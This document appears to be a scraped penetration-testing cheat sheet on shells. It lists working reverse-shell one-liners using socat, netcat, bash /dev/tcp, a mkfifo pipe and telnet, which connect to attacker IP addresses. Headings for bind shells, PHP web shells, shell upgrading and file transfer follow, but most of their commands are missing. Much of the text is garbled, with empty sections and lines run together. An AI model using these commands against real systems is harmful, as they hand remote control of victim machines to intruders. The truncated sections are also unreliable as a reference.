Shell Cheatsheet
Reverse Shell
Socat
Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444Shell
nc -e /bin/sh 10.0.0.1 1234When -c works:
nc -c '/bin/bash -c "script /dev/null"' 127.0.0.1 1337With /dev/tcp
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1Using FIFO (Doesn't work with upgrading?)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fUsing telnet (When no nc and no /dev/tcp available). Listen with nc -n -vv -l -p 2222
rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0</tmp/yolopipe| /bin/bash 1>/tmp/yolopipePython
Bind Shell
Socat
Listener:
Victim:
Bash
Telnet
Lazy Bind Shell using telnet:
Listen with nc -n -vv -l -p 2222 and don't forget the & at the end
Python
Connect via nc:
After connecting upgrade via:
PHP
Simple Test
Minimal system shell
Reverse shell using a socket (cmd version)
Reverse shell using a socket (file version)
Web Shell
PHP
Minimal webshell (?cmd=ls)
Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code:
Base64 encoded cmd webshell
Execute system command
Listener
Shell
General Listener
Basic Listener, useful with upgrading
Listen on a specific IP
Upgrading
Socat
Check section above (Reverse Shell.Socat) using a static binary.
Shell
Use bash, not zsh
In reverse shell: Execute bash (for example using the Python method below)
In reverse shell:
export TERM=xterm-256colorSwitch to background with CTRL+Z
Configure local shell:
stty raw -echoExecute
fgIn reverse shell:
reset
Python
Once connected, use Python to spawn a bash process:
Put this process into the background:
In your local shell, change the terminal settings and bring the background process to the foreground:
Finally, once the job is back in the foreground, you can set up the shell environment to be more user-friendly:
MSF
Fix Width
On attacker host:
In (socat) shell:
Transferring files (e.g. socat or tsh)
Attacker = Listener
Sender:
Receiver:
Victim = Listener
Receiver:
Sender:
Aliases
Resources
Last updated